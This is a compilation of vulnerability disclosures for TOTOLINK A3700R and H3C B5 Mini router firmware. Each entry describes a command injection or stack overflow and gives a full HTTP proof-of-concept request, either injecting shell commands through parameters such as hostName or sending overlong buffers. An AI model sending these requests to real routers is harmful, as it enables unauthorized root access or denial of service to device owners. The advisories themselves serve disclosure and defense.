TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the hostName parameter in the function setOpModeCfg.

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**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in setOpModeCfg.This vulnerability allows an attacker to execute arbitrary commands through the "hostName" parameter.

By calling these functions, we can ultimately call sub\_4241E0 function (as shown in the last picture). By setting the proto value to 1, we can reach the default branch.V48 passes directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"hostName":"admin';ps #","proto":"1","opmode":"br","topicurl":"setOpModeCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36461: vuln/readme.md at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the host_time parameter in the function NTPSyncWithHost.

Permalink

**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in NTPSyncWithHost.This vulnerability allows an attacker to execute arbitrary commands through the "host\_time" parameter.

Var passes directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"host_time":"2022-07-19 22:24:46';ps;'","topicurl":"NTPSyncWithHost"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36459: vuln/readme.md at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the command parameter in the function setTracerouteCfg.

Permalink

**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Format var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"command":";ps;","num":"1","topicurl":"setTracerouteCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36458: vuln/readme.md at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 was discovered to contain a stack overflow via the function EditMacList.d.

**H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202007/1311628\_30005\_0.htm

**Product Information**

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

**Vulnerability details**

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the EditMacList function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the EditMacList function, V12(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V19, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=EditMacList&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36467: vuln/readme.md at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 was discovered to contain a stack overflow via the function Asp_SetTimingtimeWifiAndLed.

**H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202007/1311628\_30005\_0.htm

**Product Information**

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

**Vulnerability details**

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the Asp\_SetTimingtimeWifiAndLed function. An attacker can obtain a stable root shell through a carefully constructed payload.

!\[image-20220720231031268\](D:\\vuln\\H3C\\H3C B5Mini\\5\\img\\image-20220720231031268.png)

In the Asp_SetTimingtimeWifiAndLed function, the V11(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V12, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=Asp_SetTimingtimeWifiAndLed&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36468: vuln/readme.md at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 was discovered to contain a stack overflow via the function Edit_BasicSSID_5G.

**H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202007/1311628\_30005\_0.htm

**Product Information**

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

**Vulnerability details**

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the Edit\_BasicSSID\_5G function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the Edit_BasicSSID_5G function, V30(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V31, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=Edit_BasicSSID_5G&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36473: vuln/readme.md at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 was discovered to contain a stack overflow via the function WlanWpsSet.

**H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202007/1311628\_30005\_0.htm

**Product Information**

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

**Vulnerability details**

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the WlanWpsSet function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the WlanWpsSet function, V5(the valueparam) we entered is formatted using the sscanf function and in the form of %d;%[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V7, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=WlanWpsSet&param=1;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36474: vuln/readme.md at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 was discovered to contain a stack overflow via the function AddMacList.

**H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202007/1311628\_30005\_0.htm

**Product Information**

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

**Vulnerability details**

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the AddMacList function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the AddMacList function, V12(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V19, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=AddMacList&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36475: vuln/readme.md at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 was discovered to contain a stack overflow via the function SetAP5GWifiById.

**H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202007/1311628\_30005\_0.htm

**Product Information**

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

**Vulnerability details**

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the SetAP5GWifiById function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the SetAP5GWifiById function, V5(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V8, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=SetAP5GWifiById&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36470: vuln/readme.md at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 was discovered to contain a stack overflow via the function SetMacAccessMode.

**H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202007/1311628\_30005\_0.htm

**Product Information**

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

**Vulnerability details**

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the SetMacAccessMode function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the SetMacAccessMode function, V11(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V15, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=SetMacAccessMode&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

Tag

#windows